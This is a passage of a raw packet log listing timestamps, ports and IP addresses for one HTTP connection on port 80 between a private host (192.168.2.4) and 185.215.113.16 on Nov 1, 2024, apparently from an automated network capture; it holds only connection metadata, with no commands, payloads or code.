Nov 1, 2024 08:51:36.998353004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998364925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998374939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998393059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998411894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998425961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998466969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998490095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998503923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998517990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998522043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998534918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998568058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998568058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998577118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998584032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998630047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998647928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998661995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998677969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998686075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998702049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998714924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998718977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998733044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998733997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998754025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998763084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998766899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998788118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998804092 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998805046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998822927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998842955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998863935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998878002 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998878956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998895884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998909950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998915911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998925924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998945951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998964071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998982906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998997927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999012947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999038935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999068022 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999116898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999133110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999146938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999171972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999176979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999193907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999193907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999207020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.999221087 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999233961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.999252081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.033082962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.033099890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.033116102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.033140898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.033174038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.082107067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.082124949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.082139969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.082217932 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.082218885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.085916996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.085930109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.086019993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.086041927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.086054087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.086088896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.086108923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121500015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121532917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121551037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121566057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121573925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121592045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121592999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121608019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121620893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121624947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121639013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121648073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121655941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121671915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121678114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121686935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121695042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121705055 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121721029 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121728897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121731043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121745110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121753931 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121763945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121771097 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121783972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121792078 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121803045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121805906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121818066 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121825933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121835947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121845961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121850967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121865988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121870041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121872902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121886969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121895075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121905088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121922016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121932030 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121963024 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.121972084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.121987104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122014046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122035027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122083902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122101068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122159004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122175932 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122179985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122199059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122206926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122224092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122226000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122241974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122242928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122258902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122266054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122284889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122287035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122301102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122308969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122323036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122324944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122345924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122347116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122363091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122364044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122380972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122387886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122399092 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122417927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122427940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122441053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122456074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122472048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122478962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122495890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122503996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122514009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122530937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122536898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122551918 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122555017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122570992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122577906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122586012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122603893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122606993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122616053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122620106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122632980 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122665882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122690916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122704983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122720003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122740984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122769117 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122778893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122793913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122812033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122822046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122836113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122839928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122853041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122854948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122879028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122880936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122891903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122895002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122917891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122932911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.122958899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122958899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.122992039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.123023033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.123039007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.123055935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.123064041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.123090029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.123092890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.123100996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.123107910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.123133898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.123151064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.157362938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.157407045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.157423019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.157439947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.157454967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.157484055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.157556057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.206042051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.206082106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.206095934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.206111908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.206130028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.206149101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.206156969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.210045099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.210063934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.210078955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.210104942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.210130930 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254503965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254539967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254556894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254627943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254641056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254673004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254688978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254689932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254720926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254743099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254889965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254908085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254924059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254934072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254941940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254951954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254960060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.254966021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254981041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.254987001 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255004883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255006075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255019903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255036116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255039930 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255059958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255064011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255079031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255089045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255095005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255108118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255111933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255125046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255127907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255136013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255153894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255160093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255168915 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255171061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255188942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255189896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255206108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255213976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255224943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255225897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255242109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255245924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255259037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255263090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255275965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255281925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255289078 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255292892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255310059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255311012 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255335093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255338907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255352974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255356073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255382061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255394936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255398035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255414963 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255419970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255429983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255445004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255446911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255458117 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255475044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255475998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255492926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255501032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255513906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255517960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255534887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255538940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255551100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255558014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255568027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255568027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255589008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255594969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255608082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255620956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255633116 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255640030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255661011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255664110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255681038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255683899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255707026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255712032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255726099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255728006 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255745888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255749941 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255763054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255774975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255779028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255794048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255795002 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255810976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255817890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255840063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255846977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255866051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255867004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255884886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255886078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255904913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255912066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255922079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255925894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255947113 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.255949974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.255991936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.281415939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.281440020 CET	80	57777	185.215.113.16	192.168.2.4
